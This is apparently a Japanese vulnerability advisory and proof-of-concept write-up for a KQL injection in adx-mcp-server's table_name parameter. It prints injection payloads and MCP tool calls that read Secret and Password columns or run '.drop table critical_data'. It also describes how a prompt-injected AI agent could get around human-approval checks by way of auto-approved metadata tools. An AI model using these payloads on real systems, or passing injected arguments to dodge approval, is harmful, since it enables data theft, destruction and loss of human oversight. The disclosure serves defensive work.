
adx-mcp-server における table_name パラメータを介した KQL インジェクションの概念実証エクスプロイトであり、Azure Data Explorer でのデータ窃取や破壊的なコマンドの実行を可能にします。
深刻度: 高 (CVSS 8.3)
CWE: CWE-943 — データクエリロジックにおける特殊要素の不適切な中和
影響範囲: adx-mcp-server <= 1.1.0
アドバイザリ: GHSA-vphc-468g-8rfp
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33980
クレジット: Romain Deperne
adx-mcp-server の3つの MCP ツールは、table_name パラメータを f-string を介して KQL (Kusto Query Language) クエリに直接埋め込んでいます。攻撃者、またはプロンプトインジェクションを受けた AI エージェントは、Azure Data Explorer クラスタ内の任意のテーブルを読み取ったり、管理コマンド (.drop table) を実行したり、任意の分析クエリを実行したりすることができます — これは「安全な」メタデータツールと生の execute_query ツールとの間の信頼境界を回避するものです。
私は awesome-mcp-servers のリストを調べ、特にクラウドデータプラットフォームをラップする MCP サーバーを探していました — これらは AI エージェントにデータベースへの直接アクセスを提供するように設計されているため高リスクであり、また MCP ツールのパラメータは完全に攻撃者が制御可能です (信頼できないデータを処理する LLM は、悪意のあるツール引数を渡すようプロンプトインジェクションを受ける可能性があります)。
MCP ツールのパラメータがどのように Azure Data Explorer クエリに到達するかを確認したところ、server.py 内に3つの直接的な埋め込みが見つかりました: f"{table_name} | getschema"、f"{table_name} | sample {sample_size}"、そして f".show table {table_name} details" です。
興味深いのは信頼境界のバイパスです: このサーバーは生の execute_query ツール (MCP クライアントが人間による承認を要求する場合がある) と、これらの「安全な」メタデータ検査ツール (自動承認される) の両方を公開しています。メタデータツールを介してインジェクションを行うことで、クライアントが適用する承認ポリシーを回避できます。これが、この問題を単なる「インジェクションのバグ」から実際のセキュリティ境界違反へと押し上げた要因です。
KQL のコメント構文 (//) を使用すると、ペイロードによって元のクエリの残りの部分を抑制することができます。
ファイル: src/adx_mcp_server/server.py
# Line 228 — get_table_schema
query = f"{table_name} | getschema"
# Line 248 — sample_table_data
query = f"{table_name} | sample {sample_size}"
# Line 268 — get_table_details
query = f".show table {table_name} details"
3つすべてが、MCPツールの引数から受け取った table_name を検証なしでそのまま client.execute(config.database, query) に渡しています。
KQLでは | を使ってクエリ演算子をパイプで連結でき、. を前置した管理コマンドを実行できます。// 文字は行コメントを開始します。したがって、f-stringによる直接的な補間はクエリインジェクションを許します:
f"{table_name} | getschema" → | project Secret // を追加して | getschema をコメントアウトするf".show table {table_name} details" → \n.drop table を注入して管理コマンドを連鎖させるこれが単なる execute_query ツール以上に重要な理由:MCPクライアントはしばしば「安全な」読み取り専用ツール(自動承認)と生の実行ツール(確認が必要)を区別します。このインジェクションは「安全な」メタデータツールを標的とし、承認の境界を回避します。
完全なデモンストレーションについては poc.py を参照してください。主要なペイロード:
# Data exfiltration via get_table_schema
# f"{table_name} | getschema" becomes:
# "sensitive_data | project Secret, Password | take 100 // | getschema"
# → // comments out "| getschema"; query reads sensitive_data columns
table_name = "sensitive_data | project Secret, Password | take 100 //"
# Destructive management command via get_table_details
# f".show table {table_name} details" becomes:
# ".show table users details\n.drop table critical_data details"
table_name = "users details\n.drop table critical_data"
MCP ツール呼び出し:
{"name": "get_table_schema", "arguments": {"table_name": "sensitive_data | project Secret, Password | take 100 //"}}
{"name": "get_table_details", "arguments": {"table_name": "users details\n.drop table critical_data"}}
.drop table、.drop extents などの管理コマンドtable_name 値を渡すよう操作される可能性があり、プロンプトインジェクションが完全なデータアクセスへと変わる